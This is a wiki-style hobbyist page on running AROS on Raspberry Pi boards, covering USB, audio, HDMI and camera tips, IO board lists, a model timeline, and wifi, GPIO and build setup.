SerialNumber: n/a /Users/michal/git/AROS/rom/USB/poseidon/./poseidon.library.c:psd_20_psdEnumerateDevice/3092: USBVersion: 0200 Class : 9 SubClass : 0 DevProto : 2 VendorID : 1060 ProductID : 38164 DevVers : 0200 What are these things? The first one is USB hub built in the Raspberry. Thanks to this one the Pi machines (with exception of Pi0 and computing modules) have more than just one single USB port. The second one is the network chip in raspberry, the third one is my USB SD card reader which have just connected to see what happens. AROS tried, of course, to boot from it ;) So, the first step towards working USB is done. The control transfers are working as you can see above. Next step is to implement bulk and interrupt transfers, having the basics in place. Finally some error handling will be added and USB for Pi will be as complete as the PC version. [http://www.raspyfi.com/raspberry-pi-usb-audio-fix/ Issue with USB Audio] Audio [https://github.com/raspberrypi/linux/tree/rpi-patches/sound/arm audio] and its [https://github.com/raspberrypi/firmware/issues/2 very high speed message passing interface type of thing VCHI] The Model B+ added an additional voltage regulator for the audio output and an additional output driver to drive low-resistance loads like headphones. However it is still using pulse-width modulation (PWM), which has a major impact on sound quality the old Raspberry Pi used a linear voltage regulator to provide the 3.3V to many of the components on the board while the new one uses a switching regulator. Both can perform reasonably well. However switch mode power supplies often show higher noise figures Analogue audio Audio over HDMI rev 1.3 & 1.4 Ethernet 10/100 BaseT Ethernet RJ45 socket GPIO GPIO shouldn't be too bad but bear in mind it is already accessed in places so they would need to allocate pins etc through it (e.g. sdcard to flicker the activity light, serial debug to output data on the GPIO pins) Probably a resource rather than a device... Started an i2c driver that will need to allocate GPIO pins. Feel free to work on it if you are interested ;p GPU graphics with 2D and 3D acceleration Sadly none yet for 32bit but for 64bit... Miscellanous hdmi issues Setting the hdmi_force_hotplug=1 makes sure the Pi believes the monitor/TV is really there. You might also need to set config_hdmi_boost=4 or even higher (up to 9) if your display needs a stronger signal. If the display is a computer monitor or newer tv, use hdmi_group=1 (auto HDMI use) and if it is an older TV, try hdmi_group=2 (for DMT formats, i.e. for PC monitors) then you HAVE to "set hdmi_drive = 2 to enable HDMI output as this forces HDMI mode rather than DVI mode Do not set hdmi_safe=1 as that overrides many of the previous options. Using a shorter or better quality HDMI cable might help. Make sure your Pi's power supply delivers 1 A and not 500 mA. If you see a problem with the red colour - either absent, or interference - then try a boost composite video changing the RCA cable, then the composite port worked out of the box Boot it as you are doing, without HDMI. If you now plug in the HDMI, do you get the image? In other words, does the Pi think HDMI is connected even when it isn't? Rename all the files in the first partion of the card except bootcode.bin, start.elf and fixup.dat What's the result? Put back config.txt What's the result? for PAL mode sdtv_mode=2 dmi_ignore_hotplug Pretends HDMI hotplug signal is not asserted so it appears a HDMI display is not attached hdmi_ignore_hotplug=1 Use composite mode even if HDMI monitor is detected <pre> # NOOBS Auto-generated Settings: #hdmi_force_hotplug=1 #config_hdmi_boost=4 #overscan_left=24 #overscan_right=24 #overscan_top=16 #overscan_bottom=16 #disable_overscan=0 start_x=1 gpu_mem=128 </pre> tvservice -c "PAL 4:3" <pre> /opt/vc/bin/tvservice -s or tvservice -s state: HPD high|HDMI mode|HDCP off|composite off (0x12001a), 1920x1080 @ 60 Hz, progressive /opt/vc/bin/tvservice -m CEA Group CEA has 1 modes: (native) mode 16: 1920x1080 @ 60 Hz, progressive /opt/vc/bin/tvservice -m DMT Group DMT has 0 modes: </pre> sudo amixer cset numid=3 1 forces the audio to the headphone jack, even with the HDMI video output plugged in config.txt the hdmi_ignore_edid_audio=1 option sems relevant as it should tell ALSA that the only available audio is analog, no matter what the display says There are several different ways that these 4 pole (ring) composite analog cables can be wired up, so some work great in some applications and can be a waste of time in others. What is needed for the Raspberry Pi B+ and above, which like many camcorders needs the ring contact next to the base contact to be the ground. The wiring for the 4 pole are: TIP (LEFT AUDIO CHANNEL) RING 1 (RIGHT AUDIO CHANNEL) RING 2 (GROUND/EARTH) RING 3 BASE/SLEEVE (VIDEO) YELLOW Most Apple based Players and the Microsoft Zune (TM) are wired this way. Most analogue camcorders are wired this way as well, where the ground in on Ring 2 will work with the Pi although you may need to swap your Video plug with the Right Audio plug. Nearly all other MP3 players are not wired this way, the ground is on another ring ie the wrong one. External devices * Camera Module Omnivision ov5647 Sunny 5MP (NoIR version) V1.3 - NoIR at 850&nbsp;nm, peak at 880&nbsp;nm and trails off at 940&nbsp;nm wavelengths * Camera V2 Sony IMX219 V2.1 8mpixel 8MP 8megapixel - 3280 x 2464 pixels - video at 1080p30, 720p60 and 640x480p90 - wider field of view, 62 vs 54 degrees horizontally - * Branded WIFI usb BCM43143 dongle N.B. dreaded error after changing cameras (stupidly without turning off the power first) and lasted through several power cycles. It can be a bad 15-pin FFC ribbon cable, when swapped, camera(s) and the Pi itself are working OK. It can be an instance of a cold solder joint on the CSI connector on the pi board. the camera can be detected (that's done via I2C) but may still not be able to receive image data (done via CSI-2) if something is broken. CSI-2 is uni-directional. Control is generally done via I2C. The CSI-2 receiver always writes to memory, not direct to the ISP. That's the way the Broadcom architecture works as it allows multipass processing easily. GPU memory is accessible from the ARM. Processing using the QPU graphics processors may be possible. currently the only supported sensor is OV5647 and IMX219. The linux drivers are all in the firmware blob, else you'd be looking at at least a man-month of work in a fully fledged imaging lab to do a decent tuning of the camera modules' ISP parameters. Static electricity maybe an issue for the camera module and slightly less for the pi board. == References == Testing procedure is put sd card in, connect board to board if necessary, plug in hdmi and then power nothing else is done especially CSI DSI etc [https://www.raspberrypi.com/documentation/computers/compute-module.html CM5] has the same 55mm x 40mm 2x100pin connectors form factor as the CM4 but [https://www.epdtonthenet.net/article/214508/Key-Considerations-When-Migrating-from-Raspberry-Pi-CM4-to-CM5.aspx some pins and other small things] have changed. Will need the [https://raspipcb.com/tech-blog/raspberry-pi-cm4-vs-cm5-difference-in-booting-from-sd-card/ right IO board to suit] *Green [ Raspberry Pi Compute Module 5 IO Board REV2 [https://pip.raspberrypi.com/categories/1097-raspberry-pi-compute-module-5-io-board SC1967]] - untested *Green [ RPi Compute Module 5 IO board REV1 [https://pip.raspberrypi.com/categories/1097-raspberry-pi-compute-module-5-io-board SC1751]] - untested *Black SupTronics Geekbord X1500 CM5 IO Carrier Board - untested *Black DeskPi Super6C Cluster Mini-ITX Board - untested *[https://sipeed.com/nanocluster Sipeed NanoCluster] - untested up to 7 CM5 *Green BentoIO CMX0 - untested *Box EDATec ED-CLAWBOX - untested *Home Assistant Yellow - Kit with PoE with Raspberry Pi Compute Module 5 - untested *Blue [https://www.waveshare.com/wiki/CM5_PoE_BASE_A Waveshare CM5-PoE-BASE-A] - untested *Box Waveshare [ CM5-POE-BOX-A] - untested *Blue [https://www.waveshare.com/wiki/CM5-IO-BASE-B Waveshare CM5-IO-BASE-B] - untested *Blue [https://www.waveshare.com/wiki/CM5-IO-BASE-A Waveshare CM5-IO-BASE-A] - untested *Blue Waveshare [https://www.waveshare.com/wiki/CM5-NANO-B CM5-NANO-B] - untested *[https://carboncomputers.us/products/pi-flux piFlux] *[https://carboncomputers.us/products/ Zitaotech Hackberry] CM5 lite only - *Portable [https://www.waveshare.com/pocketterm35.htm Waveshare PocketTerm35] with Pi4B or Pi5 - untested *Box [https://www.clockworkpi.com/uconsole ClockworkPi uConsole][https://www.youtube.com/watch?v=EtI_bAahbR8 CM4 into an adapter or CM3 into so-dimm - Cyberdeck] - untested *Green RPi [https://datasheets.raspberrypi.com/cm4io/CM4IO-KiCAD.zip Compute Module 4] [https://datasheets.raspberrypi.com/cm4io/cm4io-datasheet.pdf IO board] V1.4 [https://datasheets.raspberrypi.com/cm4io/CM4IOUSB3-KiCAD.zip USB3] [https://datasheets.raspberrypi.com/cm4io/cm4iousb3-appnote.pdf CM4ISO] [https://datasheets.raspberrypi.com/cm4/cm4-datasheet.pdf Dual100pin] (2020) aka Development Platform Board - untested *Purple Pi Hut Cytron CM4 Maker Board - untested *Black DeskPi Super6C Cluster Mini-ITX Board - untested *[ KubeSail PiBox mini 2] *Home Assistant Yellow with Raspberry Pi Compute Module 4 - untested *[ Turing Pi V2] - untested CM4 with 260-pin SO-DIMM socket adapters and/or nvidia jetson nanos - untested *Blue [https://www.waveshare.com/wiki/CM4-IO-BASE-B Waveshare CM4-IO-BASE-B] - untested but binary blobs *Blue [https://www.waveshare.com/wiki/CM4-IO-BASE-A Waveshare CM4-IO-BASE-A] - untested but binary blobs CM3 has a 200 pin sodimm ddr2 connector form factor but not electrically SC0028, SC0029 *Blue [https://wiki.geekworm.com/CM_IO_Board Geekworm RPi Compute Module IO Board] [https://github.com/geekworm-com/cm-io-board CSI DSI] with CM3 in ddr2 slot underside - '''works''' if SW1 on but CM3+ '''does not''' *Green [https://cdn-shop.adafruit.com/product-files/3442/CMIO_schematic.pdf RPi V3 IO board CM3IO] and CM3 Lite - untested *Green [https://turingpi.com/ turingpi v1 cluster] - untested up to 7 cm3 7xlan9514 12V discontinued, 3 x Pi4 homelab maybe better *Blue [https://www.waveshare.com/wiki/Compute_Module_PoE_Board Waveshare Compute Module PoE Board] and CM3 lite (if not lite, write files to internal eMMC fat32) '''AVOID''' bin blobs *Blue [https://www.waveshare.com/compute-module-io-board-plus.htm Waveshare Compute Module IO Board Plus] [https://www.waveshare.com/wiki/Compute_Module_IO_Board_Plus wiki] [https://forums.raspberrypi.com/viewtopic.php?t=235695 pin settings] with CM3+ Lite - '''AVOID''' binary blob *[ Pi02w on Geekworm SupTronics X305 Raspberry Pi Zero IO Baseboard] - untested *[ Spotpear Pi Zero 2w to Pi3b format-ish] - untested *[ pi-top v4] box has 128x64 oled display, micro hdmi, 19Whr battery with pi4 and 15V PD 36W min needed *[ pi-top v3] three green pieces, heatsink covers most of the base tray, pi-top hub mk1 lhs and Pi1B Pi2b Pi3b rhs secured from below, black rounded strip with pi-top above keyboard, 13.3" HD 1366 x 768 display, small touchpad, *[ pi-top Model 2.0] pi-top on bottom bezel of 14-inch green laptop, large trackpad, keyboard slide down to reveal main system hub on slide rails moved to the right, Raspberry Pi3b screws down, hub slides in, 18V 2.5A 45W charger brick, battery 11.1V 3500mAh 38.85Wh and storage PiTopOS *[ Pi-Top CEED Raspberry Pi Modular Educational Desktop with RPI3] monitor *[https://www.indiegogo.com/en/projects/jesselozano/pi-top-a-raspberry-pi-laptop-you-build-yourself Pi-Top v1] wedge laptop with RPi2 <pre> 2008 Trustees collected for Foundation 2009 Pi Foundation charity status gained 2010 2011 First Raspberry prototypes 2012 First boards go on sale at CPC and RS. The Model A and B 700 MHz Arm11 - February 29th BCM 2835 2012 First million sold - more than the 10,000 original planned and anticipated 2013 First Alpha Experimental builds of AROS Native for the 32bit Pi 2013 Pi Trading launched making grants available, providing in house educational resources and Pi Academy for teacher training 2013 Over two million sold 2014 Over three million sold 2014 Pi 1 Model B+ introduced that moved composite video to audio jack and same half gig of memory 2014 Pi Model A+ v1.1 no ethernet and 1 usb - a little smaller - 2015 Over four million first gen pis sold 2015 Pi Zero 1.2 BCM2835 first production revision released with no camera port 2016 Pi0 1.3 released with camera csi connector 2017 Pi Zero W v1.1 1GHz Pi0W, single-core 32bit CPU BCM2835 released with Cypress CYW43438 wireless 2020 Raspberry Pi Pico SC0919 with RP2040 32-bit 2Core ARM Cortex-M0+ up to 133 MHz - 264KB of SRAM and 2MB of on-board QSPI Flash - 2024 Raspberry Pi Pico 2 with RP2350 2Core 32bit Arm Cortex-M33 and 2core open-hardware [https://github.com/wren6991/hazard3 Hazard3 RISC-V] 2015 Pi 2 Model B v1.1 BCM2836 900/600 MHz ARM Cortex-A7 Armv7 quad 32bit, 32bit VideoCore IV GPU - 1Gb RAM - 5V 2A micro usb - SMSC LAN9514 chip - 2015 Over a million pi2s sold 2015 Raspberry Pi 2 Model B version 1.2 Pi2bv1.2, aka Pi2B2 has armv8 BCM2837 underclocked to 900Mhz without wifi/bluetooth module 2016 Pi 3 Model B - Broadcom BCM2837 SOC four 64bit ARMv8 Cortex-A53 1.2GHz 32bit 1080p VideoCore IV GPU - 1Gb DDR2 - bluetooth 4.1, Cypress CYW43438 wireless 802.11n - 4 x USB2.0 ports - 5.1V 2.5A - SMSC LAN9514 chip 2016 PIs total over 10 million worldwide 2017 Compute Module 3 CM3 with BCM2837B0 armv8 Quad 64-bit - small 67.6mm x 31mm board which fits DDR2 SODIMM connector but not electrically compatible which plugs into needed IO board - beware of the I2C protocol issue 1Gb LPDDR2 RAM - Lite or 4Gb Emmc storage 2017 12 million pis sold in total 2018 Pi 3 Model B+ - 4c A53 BCM2837B0 1.4Ghz - 1Gb, wireless 802.11ac, gigabit ethernet (300Mbit/s) and bluetooth 4.2 - power over ethernet - 4 x USB2.0 ports - Microchip LAN7515 chip 2019 Over 15 million sold 2019 Pi 3 Model A+ with BCM2837b0 Cortex-A53 64-bit SoC @ 1.4 GHz with 512Mb LPDDR2, 1 usb2, 1 hdmi, 1 micro usb 5V 2A - no ethernet - 2019 Raspberry Pi Compute Module 3+ CM3+ - Broadcom BCM2837B0 1.2Ghz, Cortex-A53 (ARMv8) 64-bit SoC on DDR2 SODIMM mechanically compatible only factor - IO board required 1Gb DDR2 and 8GB, 16GB, 32GB or a Lite variant without eMMC 2021 Pi zero 2 (w or no W) RP3A0 quad 1GHz Cortex-A53 64bit BCM2710A1 512mB SDRam 2025 edaTEC CM0 ED-CM0NANA with additional dev board with quad 1Ghz A53 with 512Mb Raysan RAM, 2 USB2 and 10/100 ethernet - pico castellated edge 2019 Pi 4 Model B RPI4B - BCM2711B0T quad 64bit A72 1.5GHz, 4K VideoCore VI, AC wifi, Bluetooth 5.0, GbE Broadcom BCM54213PE (PHY ID 0x600d84a2), 2 micro hdmi decode up to 4K, USB-C 5.1V 3A power, 2xVLI VL805 USB 3, 2xUSB 2.0, 2GB 9LDWW D9WHZ or 4GB 9FDWW D9WHV, 8GB 0AA47 D9ZCL ddr4 ram 2020 Silent Pi 4 v1.2 upgrade with more USB-c psu support 2020 PI400 BCM2711C0T 1.8GHz 4Gb DDR4 inside keyboard, 5.1V 5A 27W usb-c psu, 2 micro hdmi, external ide style 40pin gpio, no audio port - 2020 Raspberry Pi Compute Module 4 BCM2711B0T on new 55mm x 40mm 2x100 pin form factor with extra breakout IO board CM4101000 1Gb RAM Lite SOM CM4102000 2GB RAM Lite CM4104000 4GB RAM Lite CM4004008-4GB-RAM 8GB-EMMC SOM System on Modules CM4104032 4GB RAM 32GB emmc CM4108000 8GB RAM Lite CM4008016 8GB RAM 16Gb eMMc 2021 Raspberry Pi SC0763 Compute Module 4S CM4S with ddr2 sodimm pinouts but not electrically the same with suitable IO board extra cost - CM4S01000 1GB RAM Lite CM4S01008 1GB RAM 8GB eMMC Flash CM4S02000 2GB RAM Lite CM4S04000 4GB RAM Lite CM4S08000 8GB RAM Lite 2021 Pi 4 v1.4 BCM2711B1 upgraded power regulator, to deal with 8gig of ram being more power hungry - 2021-48 Raspberry Pi 4 model B v1.5 2GB 2023 Pi 5 v1.0 BCM2712 Quad A76 @2.4Ghz - VideoCore VII - no audio socket - dual 4k from mini hdmi - fan connector - 5.1V 5A psu 2024 Pi 5 2GB DDR4 version uses BCM2712D0 2024 Pi-500 with 8Gb LPDDR5 and membrane keyboard 2024 Pi 5 v1.1 2024 Raspberry Pi Compute Module 5 CM5 BCM2712 55mm x 40mm form factor with additional IO board CM5004000 04GB RAM 0GB eMMC Lite CM5008000 08GB RAM 0GB eMMC Lite CM5016000 16GB RAM 0GB eMMC Lite 2025 Pi-500+ with 256GB NVMe storage, 16GB LPDDR4 RAM, and Gateron KS-33 Low Profile Blue mechanical keyboard switches 2025 Pi5 1GB DDR4 announced 2022 PiOS linux goes 64bit 2024 Pi Trading IPO stockmarket stock exchange listing 2026 April and May Aros 64bit fixed, added AHI audio, VC4 gfx started, usb functions added to rom 2026 June and July Aros 64bit usb2otg started, dma.resource, sdio.resource, bwfm.device wifi added 2026 Late July daily 64bit Pi3 LE little endian builds start 2026 August Pi 4, 400, 5 and 500 DTBs added, expanding existing support and wifi for Pi4 and Pi5 2026 August Pi5 HAT+ nvme and HDMI, AHI RPiI2S added, Pi4 HVS5 video scaler started, 2026 2027 2028 Pi 6 </pre> ==Future== [https://github.com/ARMSX2/ARMSX2 Arm pi of pcsx2] {{BookCat}} 1umwd2isdindywi0axxh7omge73fsat 4670677 4670627 2026-09-17T14:45:53Z Jeff1138 301139 4670677 wikitext text/x-wiki {{ArosNav}} [[#Native]] [[#Hosted]] [[#Build]] [[#Hardware]] [[#References]] [[#Future]] ==Introduction== [[File:Scalos00.png|thumb|Scalos on Aros Pi3b]] Aros aims to cover Pi 3 to 5 1Gb+ RAM ideally as you may have to switch to 256Mb gfx mode depending on the application running Options to boot from using a good power source to prevent the yellow lightning symbol. *With Pi3b+ the max you can get is 5.1V 2.5A with micro usb. *With Pi4 5.1V 3A with usb-c *With Pi5 5.1V 5A, the amps went ever upwards, even to 5.1V 9A with usb-c Pi500+ keyboard wedge - Pi400 RPI-400 keyboard wedge - resolution changing and audio from micro hdmi0 (near 40pin) and micro hdmi1 (near usb-c psu) - Fn F10 0x5e power on and off works or held down for over 7 seconds auto shutdown - keyboard ok - wifi and lan ethernet testing - * Pi 5 - Quad A76 64bit ARMv8 and RP1 "southbridge" with VideoCore 7 Pre-D0 (Rev1.0) or D0 (rev1.1) * Pi 4 - Quad A72 64bit ARMv8 with VideoCore 6 * Pi 3 - Quad A53 [https://www.raspberrypi.com/documentation/computers/processors.html 64 bit] ARMv8 with VideoCore 4 with heatsink/fan on 3b to prevent cpu 82C+ throttling * Pi 2 - Quad 32bit ARMv6 with VideoCore 4 - mostly not 64bit compatible * Pi Model B+ 32bit ARMv6 with VideoCore 4 - not 64bit compatible * Pi Model A and B 32bit ARMv6 with VideoCore 4 - not 64bit compatible ===Native=== * 2013-03 Kalamatee starts work * 2015-04 Work continues with mschulz on the kernel and Kalamatee (NicJA) on gpio and usb * 2018 [https://www.patreon.com/posts/i-owe-you-some-20956961 mschulz resume adding BE big endian support], [https://www.patreon.com/michal_schulz/posts Big endian on Pi] * 2026 [https://github.com/aros-development-team/AROS/commits?author=bsek latest commits for pi 3b, 4 and 5 64bit] * 2026 [https://github.com/aros-development-team/AROS/commits?author=metaneutrons latest commits for Pi5] * 2026 [https://github.com/aros-development-team/AROS/commits?author=bitplane latest commits for ARM] '''Download''' [https://aros.sourceforge.io/nightly1.html RaspberryPi 3, 3+, 4 and 5 64bit ArmV8 builds] [https://sourceforge.net/projects/aros/files/ Alternative site and nightly2] both raspi-aarch64-system and raspi-aarch64-contrib can be unbz2'd and copied to fat32 8GB+ microSD card (there will be folders - boot c Classes Demos Developer Devs Extras etc only showing). The SD can be plugged in to the Pi 64bit build works well on a single core LE little endian. Multicore [https://github.com/aros-development-team/AROS/commit/1df0747c2bda3523a43029725a709b1f377d84ec may follow]. Any issues booting could be down to the SD card so please use another SD to see if it is resolved. Please report your experiences in the [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2019&rowstart=80 Aros Raspberry pi 3 64bit thread] and on the [https://forums.raspberrypi.com/viewtopic.php?p=2387984#p2387984 Raspberry Pi forum thread] Boots with '''USB3''' port based sata3 ssd on Pi400 but untested on Pi4 (may need eeprom update from PiOS or Pi SD Imager) and Pi5 Pi 3 B+ is pre-configured for USB sata3 boot - untested Pi 3 B may need [https://www.youtube.com/watch?v=ubnwvxF3Klc PiOS to set OTP to boot from usb - do so at your own risk] - if OTP set to usb, boot works but slower than SD card Speed write wise (top faster) <pre> *NVME Pi5 untested >1000MB/sec or faster if matched correctly *Sata3 ssd 500MB/sec *SD V90 90MB/sec 4K maybe 8K *SD V60 60MB/sec 1080p *SD U3 V30 30MB/sec 720p *SD C10 U1 V10 A1 A2 10MB/sec minimum should be used now *SD C06 6MB/sec *SD C04 4MB/sec </pre> As a homage to the past, Aros shows a reduced number of icons but this can be changed by left mouse click in the window and then right click down to Window -> View -> All files Windows can be manipulated by the top (moving) and the bottom right corner (resizing) only. Like most amiga like OSs the audio and networking need to be setup manually Audio AHI prefs - Mode settings tab - needs both Music unit and Unit 0 set to RPiHDMI:16 bit stereo++ or RPiPWM:16 bit stereo++ at 44100Hz. Press '''Save or Use''' button after each choice Double left mouse click on most picture (Developer/Debug/Tests/Datatypes), audio and video files are supported, via datatypes, by the multiview application. Esc escape key usually closes open windows even the desktop In Prefs/Appearance some decorative theming elements need work. There is a few Mason icons in /Prefs/Presets/Icons/Mason/ and the ever present default Gorilla - Icon exchange in works For more intensive graphics applications, you may need to edit config.txt in the root folder and change 128M to 256M to adjust more memory to graphics usage [http://archives.arosworld.org/index.php?function=browse&cat=network/browser amelinium web browser] is available with an [https://eab.abime.net/showthread.php?t=122494&page=51 eab thread] reminiscent of [https://github.com/zapek/Voyager Voyager] and to a lesser extent [https://github.com/amigazen/aweb3/ Aweb]. [[File:Wifi00.png|thumb|Setup wifi on Aros Pi3b]] [[File:Wifi01.png|thumb|Setup wifi on Aros Pi3b]] [[File:Wifi02.png|thumb|Setup wifi on Aros Pi3b]] Wifi setup needs the network prefs with the TCP/IP tab click add interface -> change Device to bwfm.device as net0:, IP Mode as DHCP and IPv4 Once you’ve configured the device, simply save the Wireless Networks tab Wi-Fi configuration even if it’s empty. This will create the Wireless.prefs file in the Prefs/Env-Archive/SYS drawer, and should see the Wireless Manager icon in Wanderer. Although a reboot maybe necessary. Wireless tab gets your router settings. If it does not set to start at boot, settings are preserved. Instead, add this to the user-startup: <pre> execute sys:system/network/arostcp/s/startnet run wirelessmanager device=bwfm.device >nil: </pre> Network will start automatically on boot. If you don't want the wirelessmanager icon on Wanderer desktop, just add 'nogui' to the wirelessmanager line Lan ethernet port on *lan9514 Pi3b Pi2 no support at the moment *lan7515 Pi3b+ type into Device usblan78xx.device as net0: remove other device(s) *bcmgenet Pi4 Pi400 choose for Device bcmgenet.device Summary *3b ethernet not supported, usb ethernet not working and setup wifi has interface issues *3b+ seems to work wifi and ethernet *4 untested *400 seems to work wifi and ethernet (with interface issues) There is normally no Bluetooth support for most amiga like OSs but Aros has one [https://github.com/aros-development-team/AROS/commit/6942cbfbf66426d21963a7fcd8aba6aff611a9e0 work in progress] [https://forums.raspberrypi.com/viewtopic.php?t=338466 firmware] *Bluetooth 4.1 BCM43430A1.hcd Pi3B, Pi3A, Zero W *Bluetooth 4.2 BCM4345C0.hcd Pi3B+, Pi4 *Bluetooth 5.0 BCM4345C5.hcd Pi4B rev, CM4 and maybe Pi5 and CM5 *bthid keyboard mouse support *btserial serial *btpan short range wireless connecting devices Only the Pi5 has a RTC real time clock, the other Pis will need to use Extras:Networking/utils/ntpsync/ or [https://archives.arosworld.org/index.php?function=browse&cat=network PiNTP] to get the date and time from the internet It helps to have all usb devices already plugged in before power on to detect at the moment. Even then some usb devices will freeze the mouse cursor and the only resolution is to remove the offending usb device and reinsert. Sometimes, the reinsert leads to the mouse cursor vanishing, it is still there and responds to left and right clicks. USB classes support from Prefs/Trident is still work in process *usbaudio working on usb3 port (blue) on pi4, 400 but not working (no rt isochronous) on usb2otg (white or black) for pi3b, zero 2w *[https://aminet.net/package/mus/midi/camd camdusbmidi] detects midi devices without a preferences file (Prefs/Env-Archive/sys/midi.prefs) as [https://www.youtube.com/watch?v=RBxHkwy4Nrw auto setup now] possibly with [https://github.com/metaneutrons/mt32-pi metaneutrons mt32-pi] [https://github.com/rtzor/mt32-pi mt32-pi fork] [https://github.com/ahmadexp/mt32-pi fork] [] [https://github.com/dwhinham/mt32-pi mt32-pi pi3+] as well as need developer gcc tools to look at 64bit ports of [https://archives.arosworld.org/?function=showfile&file=driver/audio/usbmidi.i386-aros.lha usbmidi], [https://aminet.net/package/mus/midi/CAMD_Toolkit CAMD_Toolkit], [https://aminet.net/package/mus/midi/camdtools camdtools], [https://github.com/cnvogelg/amiditools amiditools], [https://github.com/timoinutilis/midi-sequencer-amigaos horny src], [https://aminet.net/package/mus/midi/horny-base horny-base], [http://bnp.hansfaust.de/index.html BnP], [], Regarding 680x0 emulation, there are several options that could be considered *[https://github.com/aros-development-team/AROS/blob/6722a0ae9e03fe5d26e32703360bd2059e0864cc/rom/m68kemu/README.md?plain=1#L424 m68kemu.library] for some Amiga productivity where the cpu is emulated and the system calls are redirected to Aros ones *[https://github.com/BlitterStudio/amiberry amiberry] (winuae) for everything else like games *[https://github.com/jonx/AROS/tree/aarch64-darwin-graft/arch/all-darwin/libs/emu68k emu68k] *[https://scriptedamigaemulator.net/ Scripted Amiga] with [https://github.com/naTmeg/ScriptedAmigaEmulator ScriptedAmigaEmulator] or older [https://github.com/gbraad-amiga/ScriptedAmigaEmulator2 ScriptedAmigaEmulator2] [https://pinout.xyz/ GPIO 40 pins] [https://learn.sparkfun.com/tutorials/raspberry-gpio/gpio-pinout pinout] Some exceptions: *Physical pins 27, 28 (GPIO0, 1) are an internal I2C bus and should not be used *The other I2C on pins 3, 5 (GPIO 2, 3) can be used generally, but be aware they have permanent pull-up resistors to 3.3V *For MIDI use USB but there are dedicated UART pins 8, 10 (GPIO 14, 15). With a HAT it's more awkward -- you need to know which pins are used by the HAT and avoid them. Hopefully this will be documented. Remember all GPIOs are 3.3V (not 5V tolerant), floating/noisy inputs can cause odd behavior, and that shorting the power supplies can cause instant death of the Pi. In the shell GPIO PIN/A/N,SET/N,GET/S,MODE/K,PULL/K Controls and queries hardware GPIO pins via gpio.resource which is stored in the rom or Devs/ '''please test''' *PIN -- (Required) Target GPIO pin number (e.g. 12). *SET -- Set pin output value to 0 (LOW) or 1 (HIGH). *GET -- Read and print current digital input level (0 or 1). *MODE -- Configure pin mode: IN (Input), OUT (Output), ALT (Alternate). *PULL -- Configure pull resistor: NONE, UP, DOWN. EXAMPLES <pre> GPIO 12 MODE OUT GPIO 12 SET 1 GPIO 12 GET GPIO 13 PULL UP </pre> [https://gpiozero.readthedocs.io/en/stable/installing.html Current] [https://gpiozero.readthedocs.io/en/v1.2.0/api_boards.html old support for gpiozero is unknown at present] [https://energenie4u.co.uk/res/pdfs/ENER314%20UM.pdf and associated 433MHz equipment] [ USA X10 security and lights via USB] [ OpenHab with Shelly Smart Plug connected over Wi-Fi, controlled by MQTT or HTTP] Printing only with Postscript but [https://github.com/bohunamiga/MintPRINT one] of [https://github.com/boingball/MintPRINT two] [https://github.com/Andiweli/AmiAirPrint/tree/main AirPrint] IPP has been attempted with [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2061&pid=13954#post_13954 discussion] Youtube [], [], [https://www.youtube.com/watch?v=X4fmWAIv7FE Aros native on Pi3b], [], [], [https://www.youtube.com/watch?v=TSxlYb1eQWU Installed on Pi3b+], [], [], [https://www.youtube.com/watch?v=NFF1H3jCoz8 testing Aros native on Pi400], [], [], [https://www.youtube.com/watch?v=nIVx7mh1E1Q&pp=ygUHYXJvcyBwadIHCQkTDAGHKiGM7w%3D%3D Aros on Thumb 2 based 32bit-ish ARM STM32H743 board], The status of AROS native ARMv6 for 32bit RasPi was OK. System booting, USB working (although with some issues but plans to fix them). 32bit native [http://www.aros.org/nightly1.html ARMv6 32bit nightlys] raspi-armhf-system raspi-armhf-contrib unbz2'd to fat32 microSD ===Hosted=== AArch64 CPU backend for AROS, a Cocoa/Metal display, clipboard / host-volume / CoreAudio / BSD-sockets bridges, GPU 2D via gpufx.library, a 68k→AArch64 JIT (run68k), and a full Rust std port. On [https://www.jkn.me/blog/macaros-aros-on-apple-silicon/ latest Apple Silicon] [https://github.com/jonx/Macaros early buggy alpha version of hosted Aros .dmg on MacOS12+]. Please use [https://github.com/jonx/Macaros/issues MACAros github] for issues, features etc and possibly [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2030&pid=13910#post_13910 here] [http://www.aros.org/snapshots1.html old linux and android hosted 32bit] ===Good sites to visit=== *[https://github.com/raspberrypi/firmware/tree/master/ Raspberry Pi Firmware build] *[https://www.raspberrypi.com/documentation/computers/software-sources.html Documentation] *[https://rpilocator.com/ RPiLocator] Linux only *[https://github.com/raspberrypi/linux Raspberry Pi Linux Build] *[https://www.raspberrypi.com/software/operating-systems/ PiOS Lite] and then [https://hstwb.firstrealize.com/ HST] *[https://dietpi.com/ DietPi] *[http://www.tinycorelinux.net/ports.html piCore] *[https://wiki.alpinelinux.org/wiki/Raspberry_Pi Alpine Linux] *[https://github.com/armbian/build Armbian] *[ PiMiga] *[ FydeOS] *[ TwisterOS based on ChromiumOS] *[https://note.com/jamesmondo/n/nc76e31402be8?hl=en BSD] Other alternative lighter smaller than Pi OS *[https://aros.sourceforge.io/nightly1.html Aros 64bit ARMV8 single core] *[https://www.riscosopen.org/wiki/documentation/show/Welcome%20to%20RISC%20OS%20Pi RiscOS on Pi3 and Pi4] *[https://github.com/michalsc/Emu68 ARM based realtime JIT 68k for amiga computers] *[https://github.com/JJDSNT/bellatrix/releases/ Alternative use of Emu68 on Pi3b] *[https://github.com/stevereaver/uaos uaOS with Emu68k] *[https://github.com/aros-development-team/AROS/commit/f80a268607dfae81b2db94755ab4e4d31ccb72d6 m68kemu library reference] *[ HaikuOS] *[https://github.com/raspberrypi/noobs NOOBS] os loader with successor [https://github.com/procount/pinn PINN] *[https://github.com/maxnet/berryboot berryboot] *[https://github.com/brianwiddas/pi-baremetal Bare Metal Access on Pi 32bit] ==== Hosted ==== =====64bit===== [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2019&rowstart=80&pid=13667#post_13667 Ubuntu Linux PC hosted Pi compiler build] [https://github.com/BlitterStudio/aros-compiler-docker Docker based cross compiler for various Aros systems], =====32bit===== Ubuntu VM approach to compiling [http://lallafa.de/blog/2013/06/building-aros-hosted-for-raspbian/ Linux hosted AROS June 04, 2013] ../AROS/configure --target=linux-armhf --enable-includes=/usr/arm-linux-gnueabihf/include --x-includes=/usr/arm-linux-gnueabihf/include --x-libraries=/usr/arm-linux-gnueabihf/lib arm-elf- is symbol-linked to arm-linux-gnueabi- (arm-linux-gnueabi- is more correct in 